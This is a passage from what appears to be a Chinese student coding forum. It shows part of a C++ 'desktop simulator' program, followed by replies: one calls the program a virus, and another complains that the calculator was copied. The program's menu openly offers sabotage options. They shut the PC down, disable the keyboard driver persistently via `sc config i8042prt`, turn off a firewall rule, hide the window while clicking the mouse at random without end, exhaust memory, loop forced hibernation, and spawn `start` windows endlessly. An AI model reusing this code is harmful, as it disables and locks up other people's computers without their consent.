            system("cls");
            cout<<"[1]关机电脑\n[2]锁定键盘\n[3]木马\n[4]让电脑**\n[5]让鼠标乱点\n[6]永久休眠\n[7]永久弹窗\n";
            int q2;
            cin>>q2;
            if(q2>=1&&q2<=7){
                if(q2==1){
                    system("shutdown -s");
                }else if(q2==2){
                    system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
                    system("sc config i8042prt start= disabled");
                }else if(q2==3){
                    POINT p;
                    HWND hwnd=GetForegroundWindow();
                    ShowWindow(hwnd,SW_HIDE);
                    system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
                    system("sc config i8042prt start= disabled");
                    srand(time(NULL));
                    while(1){
                        p.x=(rand()-1)%1000+1;
                        p.y=(rand()-1)%2000+1;
                        SetCursorPos(p.x,p.y);
                        mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
                        Sleep(10);
                        mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
                    }
                }else if(q2==4){
                    HWND hwnd=GetForegroundWindow();
                    ShowWindow(hwnd,SW_HIDE);
                    system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
                    while(1){
                        string *s=new string[100000000000000];  
                    }
                }else if(q2==5){
                    POINT p;
                    HWND hwnd=GetForegroundWindow();
                    ShowWindow(hwnd,SW_HIDE);
                    srand(time(NULL));
                    while(1){
                        p.x=(rand()-1)%1000+1;
                        p.y=(rand()-1)%2000+1;
                        SetCursorPos(p.x,p.y);
                        mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
                        Sleep(10);
                        mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
                    }
                }else if(q2==6){
                    while(1){
                        system("shutdown -h");
                    }
                }else{
                    HWND hwnd=GetForegroundWindow();
                    ShowWindow(hwnd,SW_HIDE);
                    while(1){
                        system("start");
                    }
                }
            }else{
                cout<<"输入错误!";
                system("pause");    
            }
        }else if(q1==5){
            system("cls");
            cout<<"\a\b\a\b\a\b";
            cout<<"\t MOM\n";
            cout<<"\tIHWHI\n";
            cout<<"\t VAV\n   ";
            if(wm){
                string mm;
                while(mm!=key){
                    system("cls");
                    cout<<"密码:";
                    cin>>mm;
                    if(mm!=key){
                        cout<<"密码错误!";
                        system("pause");
                        system("cls");
                    }
                }
            }
            system("pause");
            system("cls");
            cout<<"欢迎!";
        }else if(q1==6){
            saolei();
        }else if(q1==7){
            char a11,b11;
            cout<<"颜色:\n0=黑色\n1=蓝色\n2=绿色\n3=湖蓝色\n4=红色\n5=紫色\n6=**\n7=白色\n8=灰色\n9=淡蓝色\nA=淡绿色\nB=浅绿色\nC=淡红色\nD=淡紫色\nE=淡**\nF=亮白色\n"; 
            cout<<"字体颜色:";
            cin>>a11;
            cout<<"背景颜色:";
            cin>>b11;
            while(!(a11>='0'&&a11<='9'||a11>='A'&&a11<='F')||!(b11>='0'&&b11<='9'||b11>='A'&&b11<='F')){
                cout<<"错误!\n";
                system("pause");
                system("cls");
                cout<<"颜色:\n0=黑色\n1=蓝色\n2=绿色\n3=湖蓝色\n4=红色\n5=紫色\n6=**\n7=白色\n8=灰色\n9=淡蓝色\nA=淡绿色\nB=浅绿色\nC=淡红色\nD=淡紫色\nE=淡**\nF=亮白色\n"; 
                cout<<"字体颜色:";
                cin>>a11;
                cout<<"背景颜色:";
                cin>>b11;
            }
            system("cls");
            const char s11[]={'c','o','l','o','r',' ',b11,a11};
            system(s11);
            cout<<"颜色设置成功!\n";
            system("pause");
            system("cls");
        }else if(q1==8){
            jisuanqi();
        }
    }else{
        cout<<"输入错误!";
        system("pause");
    }
    system("cls");
}
int main(){
    init();
    start(wm);
    while(open){
        system("cls");
        Desktop();
    }
    for(int i=1;i<=10;i++){
        sleep(50);
        system("cls");
        cout<<"OOO\n";
        cout<<"  O   **中\n";
        sleep(50);
        system("cls");
        cout<<" OO\n";
        cout<<"  O   **中.\n";
        cout<<"  O\n";
        sleep(50);
        system("cls");
        cout<<"  O\n";
        cout<<"  O   **中..\n";
        cout<<" OO\n";
        sleep(50);
        system("cls");
        cout<<"   \n";
        cout<<"  O   **中...\n";
        cout<<"OOO";
        sleep(50);
        system("cls");
        cout<<"   \n";
        cout<<"O     **中\n";
        cout<<"OOO\n";
        sleep(50);
        system("cls");
        cout<<"O  \n";
        cout<<"O     **中.\n";
        cout<<"OO \n";
        sleep(50);
        system("cls");
        cout<<"OO \n";
        cout<<"O     **中..\n";
        cout<<"O  \n";
        sleep(50);
        system("cls");
        cout<<"OOO\n";
        cout<<"O     **中...\n";
        cout<<"   \n";
    }
    HWND hwnd=GetForegroundWindow();
    ShowWindow(hwnd,SW_HIDE);
    return 0;
}

你的“刘刘**”有病毒,把它删掉,否则我就举报


0
已采纳
包涵宇
包涵宇
中级天翼
中级天翼

!!!

你!!!

那个计算器是我编的。。。

不过没事,这说明像我这样的蒟蒻写的代码也有人来盗版了,哈哈哈

哦,对了,借楼说一下,**大全2.1.2出了,但我不会发呀(是个压缩包),各位大佬们帮帮忙谢谢

PS:只是感觉这个计算器和我写的飞速计算器有点像。。。

哈,我只是一个无名蒟蒻

0
0
潘登
潘登
高级天翼
高级天翼

当室长和副室长不用审核呀,直接发呀

0
潘登
潘登
高级天翼
高级天翼

当室长和副室长不用审核呀,直接发呀

0
0
0
我要回答